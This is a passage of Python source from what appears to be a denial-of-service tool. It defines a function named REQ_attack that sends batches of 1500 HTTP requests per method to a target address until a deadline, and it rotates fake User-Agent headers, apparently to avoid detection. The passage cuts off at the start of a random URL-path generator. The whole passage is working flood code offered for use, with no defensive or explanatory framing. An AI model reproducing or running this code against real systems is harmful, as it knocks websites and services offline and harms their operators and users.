| 504 | pass |
| 505 | |
| 506 | def REQ_attack(ip,method,secs): |
| 507 | while time.time() < secs: |
| 508 | random_list = random.choice(("FakeUser","User")) |
| 509 | headers = "" |
| 510 | if "FakeUser" in random_list: |
| 511 | headers = {'User-Agent': f'{rand_ua("FakeUser")}'} |
| 512 | else: |
| 513 | headers = {'User-Agent': f'{rand_ua("User")}'} |
| 514 | if "get" in method: |
| 515 | for _ in range(1500): |
| 516 | requests.get(ip,headers=headers) |
| 517 | elif "post" in method: |
| 518 | for _ in range(1500): |
| 519 | requests.post(ip,headers=headers) |
| 520 | elif "put" in method: |
| 521 | for _ in range(1500): |
| 522 | requests.put(ip,headers=headers) |
| 523 | elif "patch" in method: |
| 524 | for _ in range(1500): |
| 525 | requests.patch(ip,headers=headers) |
| 526 | elif "delete" in method: |
| 527 | for _ in range(1500): |
| 528 | requests.delete(ip,headers=headers) |
| 529 | elif "head" in method: |
| 530 | for _ in range(1500): |
| 531 | requests.head(ip,headers=headers) |
| 532 | elif "options" in method: |
| 533 | for _ in range(1500): |
| 534 | requests.options(ip,headers=headers) |
| 535 | elif "all" in method: |
| 536 | for _ in range(1500): |
| 537 | requests.get(ip,headers=headers) |
| 538 | requests.post(ip,headers=headers) |
| 539 | requests.put(ip,headers=headers) |
| 540 | requests.patch(ip,headers=headers) |
| 541 | requests.delete(ip,headers=headers) |
| 542 | requests.head(ip,headers=headers) |
| 543 | requests.options(ip,headers=headers) |
| 544 | |
| 545 | def generate_url_path(num): |
| 546 | msg = str(string.ascii_letters + string.digits + string.punctuation) |